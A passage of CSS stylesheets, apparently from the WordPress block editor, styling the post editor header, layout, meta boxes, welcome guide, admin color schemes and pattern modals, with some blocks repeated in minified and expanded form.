  align-items:center;
  display:inline-flex;
  flex-wrap:nowrap;
  gap:8px;
  padding-left:4px;
}
@media (min-width:600px){
  .edit-post-header__settings{
    padding-left:8px;
  }
}
.edit-post-header__dropdown .components-button.has-icon,.show-icon-labels .edit-post-header .components-button.has-icon,.show-icon-labels.interface-pinned-items .components-button.has-icon{
  width:auto;
}
.edit-post-header__dropdown .components-button.has-icon svg,.show-icon-labels .edit-post-header .components-button.has-icon svg,.show-icon-labels.interface-pinned-items .components-button.has-icon svg{
  display:none;
}
.edit-post-header__dropdown .components-button.has-icon:after,.show-icon-labels .edit-post-header .components-button.has-icon:after,.show-icon-labels.interface-pinned-items .components-button.has-icon:after{
  content:attr(aria-label);
}
.edit-post-header__dropdown .components-button.has-icon[aria-disabled=true],.show-icon-labels .edit-post-header .components-button.has-icon[aria-disabled=true],.show-icon-labels.interface-pinned-items .components-button.has-icon[aria-disabled=true]{
  background-color:initial;
}
.edit-post-header__dropdown .is-tertiary:active,.show-icon-labels .edit-post-header .is-tertiary:active,.show-icon-labels.interface-pinned-items .is-tertiary:active{
  background-color:initial;
  box-shadow:0 0 0 1.5px var(--wp-admin-theme-color);
}
.edit-post-header__dropdown .components-button.has-icon.button-toggle svg,.edit-post-header__dropdown .edit-post-fullscreen-mode-close.has-icon svg,.show-icon-labels .edit-post-header .components-button.has-icon.button-toggle svg,.show-icon-labels .edit-post-header .edit-post-fullscreen-mode-close.has-icon svg,.show-icon-labels.interface-pinned-items .components-button.has-icon.button-toggle svg,.show-icon-labels.interface-pinned-items .edit-post-fullscreen-mode-close.has-icon svg{
  display:block;
}
.edit-post-header__dropdown .components-button.has-icon.button-toggle:after,.edit-post-header__dropdown .edit-post-fullscreen-mode-close.has-icon:after,.show-icon-labels .edit-post-header .components-button.has-icon.button-toggle:after,.show-icon-labels .edit-post-header .edit-post-fullscreen-mode-close.has-icon:after,.show-icon-labels.interface-pinned-items .components-button.has-icon.button-toggle:after,.show-icon-labels.interface-pinned-items .edit-post-fullscreen-mode-close.has-icon:after{
  content:none;
}
.edit-post-header__dropdown .edit-post-fullscreen-mode-close.has-icon,.show-icon-labels .edit-post-header .edit-post-fullscreen-mode-close.has-icon,.show-icon-labels.interface-pinned-items .edit-post-fullscreen-mode-close.has-icon{
  width:60px;
}
.edit-post-header__dropdown .components-menu-items-choice .components-menu-items__item-icon.components-menu-items__item-icon,.show-icon-labels .edit-post-header .components-menu-items-choice .components-menu-items__item-icon.components-menu-items__item-icon,.show-icon-labels.interface-pinned-items .components-menu-items-choice .components-menu-items__item-icon.components-menu-items__item-icon{
  display:block;
}
.edit-post-header__dropdown .editor-document-tools__inserter-toggle.editor-document-tools__inserter-toggle,.edit-post-header__dropdown .interface-pinned-items .components-button,.show-icon-labels .edit-post-header .editor-document-tools__inserter-toggle.editor-document-tools__inserter-toggle,.show-icon-labels .edit-post-header .interface-pinned-items .components-button,.show-icon-labels.interface-pinned-items .editor-document-tools__inserter-toggle.editor-document-tools__inserter-toggle,.show-icon-labels.interface-pinned-items .interface-pinned-items .components-button{
  padding-left:8px;
  padding-right:8px;
}
@media (min-width:600px){
  .edit-post-header__dropdown .editor-document-tools__inserter-toggle.editor-document-tools__inserter-toggle,.edit-post-header__dropdown .interface-pinned-items .components-button,.show-icon-labels .edit-post-header .editor-document-tools__inserter-toggle.editor-document-tools__inserter-toggle,.show-icon-labels .edit-post-header .interface-pinned-items .components-button,.show-icon-labels.interface-pinned-items .editor-document-tools__inserter-toggle.editor-document-tools__inserter-toggle,.show-icon-labels.interface-pinned-items .interface-pinned-items .components-button{
    padding-left:12px;
    padding-right:12px;
  }
}
.edit-post-header__dropdown .editor-post-save-draft.editor-post-save-draft:after,.edit-post-header__dropdown .editor-post-saved-state.editor-post-saved-state:after,.show-icon-labels .edit-post-header .editor-post-save-draft.editor-post-save-draft:after,.show-icon-labels .edit-post-header .editor-post-saved-state.editor-post-saved-state:after,.show-icon-labels.interface-pinned-items .editor-post-save-draft.editor-post-save-draft:after,.show-icon-labels.interface-pinned-items .editor-post-saved-state.editor-post-saved-state:after{
  content:none;
}

.show-icon-labels .edit-post-header__toolbar .block-editor-block-mover{
  border-right:none;
}
.show-icon-labels .edit-post-header__toolbar .block-editor-block-mover:before{
  background-color:#ddd;
  content:"";
  height:24px;
  margin-right:8px;
  margin-top:4px;
  width:1px;
}
.show-icon-labels .edit-post-header__toolbar .block-editor-block-mover .block-editor-block-mover__move-button-container:before{
  background:#ddd;
  right:calc(50% + 1px);
  width:calc(100% - 24px);
}

.edit-post-header__dropdown .components-button.block-editor-list-view,.edit-post-header__dropdown .components-button.editor-history__redo,.edit-post-header__dropdown .components-button.editor-history__undo,.edit-post-header__dropdown .components-menu-item__button.components-menu-item__button,.edit-post-header__dropdown .table-of-contents .components-button{
  justify-content:flex-start;
  margin:0;
  padding:6px 40px 6px 6px;
  text-align:right;
  width:14.625rem;
}

.show-icon-labels.interface-pinned-items{
  border-bottom:1px solid #ccc;
  display:block;
  margin:0 -12px;
  padding:6px 12px 12px;
}
.show-icon-labels.interface-pinned-items>.components-button.has-icon{
  justify-content:flex-start;
  margin:0;
  padding:6px 8px 6px 6px;
  width:14.625rem;
}
.show-icon-labels.interface-pinned-items>.components-button.has-icon[aria-expanded=true] svg{
  display:block;
  max-width:24px;
}
.show-icon-labels.interface-pinned-items>.components-button.has-icon[aria-expanded=false]{
  padding-right:40px;
}
.show-icon-labels.interface-pinned-items>.components-button.has-icon svg{
  margin-left:8px;
}

@media (min-width:600px){
  .edit-post-header__post-preview-button{
    display:none;
  }
}

.is-distraction-free .interface-interface-skeleton__header{
  border-bottom:none;
}
.is-distraction-free .edit-post-header{
  background-color:#fff;
  border-bottom:1px solid #e0e0e0;
  position:absolute;
  width:100%;
}
.is-distraction-free .edit-post-header>.edit-post-header__settings>.edit-post-header__post-preview-button{
  visibility:hidden;
}
.is-distraction-free .edit-post-header>.edit-post-header__settings>.editor-preview-dropdown,.is-distraction-free .edit-post-header>.edit-post-header__settings>.interface-pinned-items,.is-distraction-free .edit-post-header>.edit-post-header__toolbar .editor-document-tools__document-overview-toggle{
  display:none;
}
.is-distraction-free .interface-interface-skeleton__header:focus-within{
  opacity:1 !important;
}
.is-distraction-free .interface-interface-skeleton__header:focus-within div{
  transform:translateX(0) translateZ(0) !important;
}
.is-distraction-free .components-editor-notices__dismissible{
  position:absolute;
  z-index:35;
}

.edit-post-fullscreen-mode-close.components-button{
  display:none;
}
@media (min-width:782px){
  .edit-post-fullscreen-mode-close.components-button{
    align-items:center;
    align-self:stretch;
    background:#1e1e1e;
    border:none;
    border-radius:0;
    color:#fff;
    display:flex;
    height:61px;
    margin-bottom:-1px;
    position:relative;
    width:60px;
  }
  .edit-post-fullscreen-mode-close.components-button:active{
    color:#fff;
  }
  .edit-post-fullscreen-mode-close.components-button:focus{
    box-shadow:none;
  }
  .edit-post-fullscreen-mode-close.components-button:before{
    border-radius:4px;
    bottom:10px;
    box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #1e1e1e;
    content:"";
    display:block;
    left:9px;
    position:absolute;
    right:9px;
    top:9px;
    transition:box-shadow .1s ease;
  }
}
@media (min-width:782px) and (prefers-reduced-motion:reduce){
  .edit-post-fullscreen-mode-close.components-button:before{
    transition-delay:0s;
    transition-duration:0s;
  }
}
@media (min-width:782px){
  .edit-post-fullscreen-mode-close.components-button:hover:before{
    box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #757575;
  }
  .edit-post-fullscreen-mode-close.components-button.has-icon:hover:before{
    box-shadow:none;
  }
  .edit-post-fullscreen-mode-close.components-button:focus:before{
    box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #ffffff1a, inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  }
}
.edit-post-fullscreen-mode-close.components-button .edit-post-fullscreen-mode-close_site-icon{
  border-radius:2px;
  height:36px;
  margin-top:-1px;
  object-fit:cover;
  width:36px;
}

.edit-post-keyboard-shortcut-help-modal__section{
  margin:0 0 2rem;
}
.edit-post-keyboard-shortcut-help-modal__section-title{
  font-size:.9rem;
  font-weight:600;
}
.edit-post-keyboard-shortcut-help-modal__shortcut{
  align-items:baseline;
  border-top:1px solid #ddd;
  display:flex;
  margin-bottom:0;
  padding:.6rem 0;
}
.edit-post-keyboard-shortcut-help-modal__shortcut:last-child{
  border-bottom:1px solid #ddd;
}
.edit-post-keyboard-shortcut-help-modal__shortcut:empty{
  display:none;
}
.edit-post-keyboard-shortcut-help-modal__shortcut-term{
  font-weight:600;
  margin:0 1rem 0 0;
  text-align:left;
}
.edit-post-keyboard-shortcut-help-modal__shortcut-description{
  flex:1;
  flex-basis:auto;
  margin:0;
}
.edit-post-keyboard-shortcut-help-modal__shortcut-key-combination{
  background:none;
  display:block;
  margin:0;
  padding:0;
}
.edit-post-keyboard-shortcut-help-modal__shortcut-key-combination+.edit-post-keyboard-shortcut-help-modal__shortcut-key-combination{
  margin-top:10px;
}
.edit-post-keyboard-shortcut-help-modal__shortcut-key{
  border-radius:8%;
  margin:0 .2rem;
  padding:.25rem .5rem;
}
.edit-post-keyboard-shortcut-help-modal__shortcut-key:last-child{
  margin:0 .2rem 0 0;
}

.edit-post-layout__metaboxes{
  clear:both;
  flex-shrink:0;
}

.edit-post-layout .components-editor-notices__snackbar{
  bottom:40px;
  left:0;
  padding-left:16px;
  padding-right:16px;
  position:fixed;
}

.is-distraction-free .components-editor-notices__snackbar{
  bottom:20px;
}

.edit-post-layout .components-editor-notices__snackbar{
  right:0;
}
@media (min-width:783px){
  .edit-post-layout .components-editor-notices__snackbar{
    right:160px;
  }
}
@media (min-width:783px){
  .auto-fold .edit-post-layout .components-editor-notices__snackbar{
    right:36px;
  }
}
@media (min-width:961px){
  .auto-fold .edit-post-layout .components-editor-notices__snackbar{
    right:160px;
  }
}
.folded .edit-post-layout .components-editor-notices__snackbar{
  right:0;
}
@media (min-width:783px){
  .folded .edit-post-layout .components-editor-notices__snackbar{
    right:36px;
  }
}

body.is-fullscreen-mode .edit-post-layout .components-editor-notices__snackbar{
  right:0 !important;
}

.edit-post-layout .editor-post-publish-panel{
  bottom:0;
  left:0;
  overflow:auto;
  position:fixed;
  right:0;
  top:46px;
  z-index:100001;
}
@media (min-width:782px){
  .edit-post-layout .editor-post-publish-panel{
    animation:edit-post-post-publish-panel__slide-in-animation .1s forwards;
    border-right:1px solid #ddd;
    right:auto;
    top:32px;
    transform:translateX(-100%);
    width:281px;
    z-index:99998;
  }
}
@media (min-width:782px) and (prefers-reduced-motion:reduce){
  .edit-post-layout .editor-post-publish-panel{
    animation-delay:0s;
    animation-duration:1ms;
  }
}
@media (min-width:782px){
  body.is-fullscreen-mode .edit-post-layout .editor-post-publish-panel{
    top:0;
  }
  [role=region]:focus .edit-post-layout .editor-post-publish-panel{
    transform:translateX(0);
  }
}

@keyframes edit-post-post-publish-panel__slide-in-animation{
  to{
    transform:translateX(0);
  }
}
.edit-post-layout .editor-post-publish-panel__header-publish-button{
  justify-content:center;
}

.edit-post-layout__toggle-entities-saved-states-panel,.edit-post-layout__toggle-publish-panel,.edit-post-layout__toggle-sidebar-panel{
  background-color:#fff;
  border:1px dotted #ddd;
  bottom:auto;
  box-sizing:border-box;
  display:flex;
  height:auto !important;
  justify-content:center;
  left:0;
  padding:24px;
  position:fixed !important;
  right:auto;
  top:-9999em;
  width:280px;
  z-index:100000;
}

.interface-interface-skeleton__actions:focus .edit-post-layout__toggle-entities-saved-states-panel,.interface-interface-skeleton__actions:focus .edit-post-layout__toggle-publish-panel,.interface-interface-skeleton__actions:focus-within .edit-post-layout__toggle-entities-saved-states-panel,.interface-interface-skeleton__actions:focus-within .edit-post-layout__toggle-publish-panel,.interface-interface-skeleton__sidebar:focus .edit-post-layout__toggle-sidebar-panel,.interface-interface-skeleton__sidebar:focus-within .edit-post-layout__toggle-sidebar-panel{
  bottom:0;
  top:auto;
}

.edit-post-layout .entities-saved-states__panel-header{
  height:61px;
}

.edit-post-meta-boxes-area{
  position:relative;
}
.edit-post-meta-boxes-area .inside,.edit-post-meta-boxes-area__container{
  box-sizing:initial;
}
.edit-post-meta-boxes-area input,.edit-post-meta-boxes-area textarea{
  box-sizing:border-box;
}
.edit-post-meta-boxes-area .postbox-header{
  border-bottom:0;
  border-top:1px solid #ddd;
}
.edit-post-meta-boxes-area #poststuff{
  margin:0 auto;
  min-width:auto;
  padding-top:0;
}
.edit-post-meta-boxes-area #poststuff .stuffbox>h3,.edit-post-meta-boxes-area #poststuff h2.hndle,.edit-post-meta-boxes-area #poststuff h3.hndle{
  box-sizing:border-box;
  color:inherit;
  font-weight:600;
  outline:none;
  padding:0 24px;
  position:relative;
  width:100%;
}
.edit-post-meta-boxes-area .postbox{
  border:0;
  color:inherit;
  margin-bottom:0;
}
.edit-post-meta-boxes-area .postbox>.inside{
  color:inherit;
  margin:0;
  padding:0 24px 24px;
}
.edit-post-meta-boxes-area .postbox .handlediv{
  height:44px;
  width:44px;
}
.edit-post-meta-boxes-area.is-loading:before{
  background:#0000;
  bottom:0;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:0;
  z-index:1;
}
.edit-post-meta-boxes-area .components-spinner{
  left:20px;
  position:absolute;
  top:10px;
  z-index:5;
}
.edit-post-meta-boxes-area .is-hidden{
  display:none;
}
.edit-post-meta-boxes-area .metabox-location-side .postbox input[type=checkbox]{
  border:1px solid #757575;
}
.edit-post-meta-boxes-area .metabox-location-side .postbox input[type=checkbox]:checked{
  background:#fff;
  border-color:#757575;
}
.edit-post-meta-boxes-area .metabox-location-side .postbox input[type=checkbox]:before{
  margin:-3px -4px;
}

.edit-post-meta-boxes-area__clear{
  clear:both;
}

.components-panel__header.edit-post-sidebar__panel-tabs{
  padding-left:16px;
  padding-right:0;
}
.components-panel__header.edit-post-sidebar__panel-tabs .components-button.has-icon{
  height:24px;
  min-width:24px;
  padding:0;
}
@media (min-width:782px){
  .components-panel__header.edit-post-sidebar__panel-tabs .components-button.has-icon{
    display:flex;
  }
}

.edit-post-sidebar__panel{
  margin-top:-1px;
}

.edit-post-post-format,.edit-post-post-slug{
  align-items:stretch;
  display:flex;
  flex-direction:column;
}

.edit-post-post-visibility__dialog .editor-post-visibility{
  margin:8px;
  min-width:248px;
}

h2.edit-post-template-summary__title{
  font-weight:500;
  line-height:24px;
  margin:0 0 4px;
}

.edit-post-text-editor{
  background-color:#fff;
  flex-grow:1;
  position:relative;
  width:100%;
}
.edit-post-text-editor .editor-post-title.is-raw-text textarea,.edit-post-text-editor .editor-post-title:not(.is-raw-text){
  border:1px solid #949494;
  border-radius:0;
  font-family:Menlo,Consolas,monaco,monospace;
  font-size:2.5em;
  font-weight:400;
  line-height:1.4;
  max-width:none;
  padding:16px;
}
@media (min-width:600px){
  .edit-post-text-editor .editor-post-title.is-raw-text textarea,.edit-post-text-editor .editor-post-title:not(.is-raw-text){
    padding:24px;
  }
}
.edit-post-text-editor .editor-post-title.is-raw-text textarea:focus,.edit-post-text-editor .editor-post-title:not(.is-raw-text):focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}

.edit-post-text-editor__body{
  margin-left:auto;
  margin-right:auto;
  max-width:1080px;
  padding:0 12px 12px;
  width:100%;
}
@media (min-width:960px){
  .edit-post-text-editor__body{
    padding:0 24px 24px;
  }
}

.edit-post-text-editor__toolbar{
  background:#fffc;
  display:flex;
  left:0;
  padding:4px 12px;
  position:sticky;
  right:0;
  top:0;
  z-index:1;
}
@media (min-width:600px){
  .edit-post-text-editor__toolbar{
    padding:12px;
  }
}
@media (min-width:960px){
  .edit-post-text-editor__toolbar{
    padding:12px 24px;
  }
}
.edit-post-text-editor__toolbar h2{
  color:#1e1e1e;
  font-size:13px;
  line-height:36px;
  margin:0 0 0 auto;
}

.edit-post-visual-editor{
  background-color:#ddd;
  display:flex;
  flex:1 0 auto;
  flex-flow:column;
  position:relative;
}
.edit-post-visual-editor:not(.has-inline-canvas){
  overflow:hidden;
}
.edit-post-visual-editor .components-button{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  padding:6px 12px;
}
.edit-post-visual-editor .components-button.has-icon{
  padding:6px;
}

.edit-post-visual-editor__content-area{
  box-sizing:border-box;
  display:flex;
  flex-grow:1;
  height:100%;
  position:relative;
  width:100%;
}

.edit-post-welcome-guide,.edit-template-welcome-guide{
  width:312px;
}
.edit-post-welcome-guide__image,.edit-template-welcome-guide__image{
  background:#00a0d2;
  margin:0 0 16px;
}
.edit-post-welcome-guide__image>img,.edit-template-welcome-guide__image>img{
  display:block;
  max-width:100%;
  object-fit:cover;
}
.edit-post-welcome-guide__heading,.edit-template-welcome-guide__heading{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:24px;
  line-height:1.4;
  margin:16px 0;
  padding:0 32px;
}
.edit-post-welcome-guide__text,.edit-template-welcome-guide__text{
  font-size:13px;
  line-height:1.4;
  margin:0 0 24px;
  padding:0 32px;
}
.edit-post-welcome-guide__inserter-icon,.edit-template-welcome-guide__inserter-icon{
  margin:0 4px;
  vertical-align:text-top;
}

.edit-template-welcome-guide .components-button svg{
  fill:#fff;
}

.edit-post-start-page-options__modal-content .block-editor-block-patterns-list{
  column-count:2;
  column-gap:24px;
}
@media (min-width:782px){
  .edit-post-start-page-options__modal-content .block-editor-block-patterns-list{
    column-count:3;
  }
}
@media (min-width:1280px){
  .edit-post-start-page-options__modal-content .block-editor-block-patterns-list{
    column-count:4;
  }
}
.edit-post-start-page-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  break-inside:avoid-column;
  margin-bottom:24px;
}
.edit-post-start-page-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-preview__container{
  min-height:100px;
}
.edit-post-start-page-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-preview__content{
  width:100%;
}
@keyframes edit-post__fade-in-animation{
  0%{
    opacity:0;
  }
  to{
    opacity:1;
  }
}
body.js.block-editor-page{
  background:#fff;
}
body.js.block-editor-page #wpcontent{
  padding-right:0;
}
body.js.block-editor-page #wpbody-content{
  padding-bottom:0;
}
body.js.block-editor-page #wpbody-content>div:not(.block-editor):not(#screen-meta),body.js.block-editor-page #wpfooter{
  display:none;
}
body.js.block-editor-page .a11y-speak-region{
  right:-1px;
  top:-1px;
}
body.js.block-editor-page ul#adminmenu a.wp-has-current-submenu:after,body.js.block-editor-page ul#adminmenu>li.current>a.current:after{
  border-left-color:#fff;
}
body.js.block-editor-page .media-frame select.attachment-filters:last-of-type{
  max-width:100%;
  width:auto;
}

.block-editor-page #wpwrap{
  overflow-y:auto;
}
@media (min-width:782px){
  .block-editor-page #wpwrap{
    overflow-y:initial;
  }
}

.components-modal__frame,.edit-post-header,.edit-post-sidebar,.edit-post-text-editor,.editor-post-publish-panel{
  box-sizing:border-box;
}
.components-modal__frame *,.components-modal__frame :after,.components-modal__frame :before,.edit-post-header *,.edit-post-header :after,.edit-post-header :before,.edit-post-sidebar *,.edit-post-sidebar :after,.edit-post-sidebar :before,.edit-post-text-editor *,.edit-post-text-editor :after,.edit-post-text-editor :before,.editor-post-publish-panel *,.editor-post-publish-panel :after,.editor-post-publish-panel :before{
  box-sizing:inherit;
}

@media (min-width:600px){
  .block-editor__container{
    bottom:0;
    left:0;
    min-height:calc(100vh - 46px);
    position:absolute;
    right:0;
    top:0;
  }
}
@media (min-width:782px){
  .block-editor__container{
    min-height:calc(100vh - 32px);
  }
  body.is-fullscreen-mode .block-editor__container{
    min-height:100vh;
  }
}
.block-editor__container img{
  height:auto;
  max-width:100%;
}

body.admin-color-light{
  --wp-admin-theme-color:#0085ba;
  --wp-admin-theme-color--rgb:0, 133, 186;
  --wp-admin-theme-color-darker-10:#0073a1;
  --wp-admin-theme-color-darker-10--rgb:0, 115, 161;
  --wp-admin-theme-color-darker-20:#006187;
  --wp-admin-theme-color-darker-20--rgb:0, 97, 135;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-light{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-modern{
  --wp-admin-theme-color:#3858e9;
  --wp-admin-theme-color--rgb:56, 88, 233;
  --wp-admin-theme-color-darker-10:#2145e6;
  --wp-admin-theme-color-darker-10--rgb:33, 69, 230;
  --wp-admin-theme-color-darker-20:#183ad6;
  --wp-admin-theme-color-darker-20--rgb:24, 58, 214;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-modern{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-blue{
  --wp-admin-theme-color:#096484;
  --wp-admin-theme-color--rgb:9, 100, 132;
  --wp-admin-theme-color-darker-10:#07526c;
  --wp-admin-theme-color-darker-10--rgb:7, 82, 108;
  --wp-admin-theme-color-darker-20:#064054;
  --wp-admin-theme-color-darker-20--rgb:6, 64, 84;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-blue{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-coffee{
  --wp-admin-theme-color:#46403c;
  --wp-admin-theme-color--rgb:70, 64, 60;
  --wp-admin-theme-color-darker-10:#383330;
  --wp-admin-theme-color-darker-10--rgb:56, 51, 48;
  --wp-admin-theme-color-darker-20:#2b2724;
  --wp-admin-theme-color-darker-20--rgb:43, 39, 36;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-coffee{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ectoplasm{
  --wp-admin-theme-color:#523f6d;
  --wp-admin-theme-color--rgb:82, 63, 109;
  --wp-admin-theme-color-darker-10:#46365d;
  --wp-admin-theme-color-darker-10--rgb:70, 54, 93;
  --wp-admin-theme-color-darker-20:#3a2c4d;
  --wp-admin-theme-color-darker-20--rgb:58, 44, 77;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ectoplasm{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-midnight{
  --wp-admin-theme-color:#e14d43;
  --wp-admin-theme-color--rgb:225, 77, 67;
  --wp-admin-theme-color-darker-10:#dd382d;
  --wp-admin-theme-color-darker-10--rgb:221, 56, 45;
  --wp-admin-theme-color-darker-20:#d02c21;
  --wp-admin-theme-color-darker-20--rgb:208, 44, 33;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-midnight{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ocean{
  --wp-admin-theme-color:#627c83;
  --wp-admin-theme-color--rgb:98, 124, 131;
  --wp-admin-theme-color-darker-10:#576e74;
  --wp-admin-theme-color-darker-10--rgb:87, 110, 116;
  --wp-admin-theme-color-darker-20:#4c6066;
  --wp-admin-theme-color-darker-20--rgb:76, 96, 102;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ocean{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-sunrise{
  --wp-admin-theme-color:#dd823b;
  --wp-admin-theme-color--rgb:221, 130, 59;
  --wp-admin-theme-color-darker-10:#d97426;
  --wp-admin-theme-color-darker-10--rgb:217, 116, 38;
  --wp-admin-theme-color-darker-20:#c36922;
  --wp-admin-theme-color-darker-20--rgb:195, 105, 34;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-sunrise{
    --wp-admin-border-width-focus:1.5px;
  }
}

.interface-interface-skeleton__sidebar{
  border-right:none;
}
@media (min-width:782px){
  .is-sidebar-opened .interface-interface-skeleton__sidebar{
    border-right:1px solid #e0e0e0;
    overflow:hidden scroll;
  }
}:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:#9747ff;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.patterns-menu-items__convert-modal{
  z-index:1000001;
}
.patterns-menu-items__convert-modal [role=dialog]>[role=document]{
  width:350px;
}
.patterns-menu-items__convert-modal .patterns-menu-items__convert-modal-categories{
  position:relative;
}
.patterns-menu-items__convert-modal .components-form-token-field__suggestions-list:not(:empty){
  background-color:#fff;
  border:1px solid var(--wp-admin-theme-color);
  border-bottom-left-radius:2px;
  border-bottom-right-radius:2px;
  box-shadow:0 0 .5px .5px var(--wp-admin-theme-color);
  box-sizing:border-box;
  left:-1px;
  max-height:96px;
  min-width:auto;
  position:absolute;
  width:calc(100% + 2px);
  z-index:1;
}

.patterns-create-modal__name-input input[type=text]{
  margin:0;
}

.patterns-rename-pattern-category-modal__validation-message{
  color:#cc1818;
}
@media (min-width:782px){
  .patterns-rename-pattern-category-modal__validation-message{
    width:320px;
  }
}:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:#9747ff}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.patterns-menu-items__convert-modal{z-index:1000001}.patterns-menu-items__convert-modal [role=dialog]>[role=document]{width:350px}.patterns-menu-items__convert-modal .patterns-menu-items__convert-modal-categories{position:relative}.patterns-menu-items__convert-modal .components-form-token-field__suggestions-list:not(:empty){background-color:#fff;border:1px solid var(--wp-admin-theme-color);border-bottom-left-radius:2px;border-bottom-right-radius:2px;box-shadow:0 0 .5px .5px var(--wp-admin-theme-color);box-sizing:border-box;left:-1px;max-height:96px;min-width:auto;position:absolute;width:calc(100% + 2px);z-index:1}.patterns-create-modal__name-input input[type=text]{margin:0}.patterns-rename-pattern-category-modal__validation-message{color:#cc1818}@media (min-width:782px){.patterns-rename-pattern-category-modal__validation-message{width:320px}}:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:#9747ff}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.patterns-menu-items__convert-modal{z-index:1000001}.patterns-menu-items__convert-modal [role=dialog]>[role=document]{width:350px}.patterns-menu-items__convert-modal .patterns-menu-items__convert-modal-categories{position:relative}.patterns-menu-items__convert-modal .components-form-token-field__suggestions-list:not(:empty){background-color:#fff;border:1px solid var(--wp-admin-theme-color);border-bottom-left-radius:2px;border-bottom-right-radius:2px;box-shadow:0 0 .5px .5px var(--wp-admin-theme-color);box-sizing:border-box;max-height:96px;min-width:auto;position:absolute;right:-1px;width:calc(100% + 2px);z-index:1}.patterns-create-modal__name-input input[type=text]{margin:0}.patterns-rename-pattern-category-modal__validation-message{color:#cc1818}@media (min-width:782px){.patterns-rename-pattern-category-modal__validation-message{width:320px}}:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:#9747ff;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.patterns-menu-items__convert-modal{
  z-index:1000001;
}
.patterns-menu-items__convert-modal [role=dialog]>[role=document]{
  width:350px;
}
.patterns-menu-items__convert-modal .patterns-menu-items__convert-modal-categories{
  position:relative;
}
.patterns-menu-items__convert-modal .components-form-token-field__suggestions-list:not(:empty){
  background-color:#fff;
  border:1px solid var(--wp-admin-theme-color);
  border-bottom-left-radius:2px;
  border-bottom-right-radius:2px;
  box-shadow:0 0 .5px .5px var(--wp-admin-theme-color);
  box-sizing:border-box;
  max-height:96px;
  min-width:auto;
  position:absolute;
  right:-1px;
  width:calc(100% + 2px);
  z-index:1;
}

.patterns-create-modal__name-input input[type=text]{
  margin:0;
}

.patterns-rename-pattern-category-modal__validation-message{
  color:#cc1818;
}
@media (min-width:782px){
  .patterns-rename-pattern-category-modal__validation-message{
    width:320px;
  }
}:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
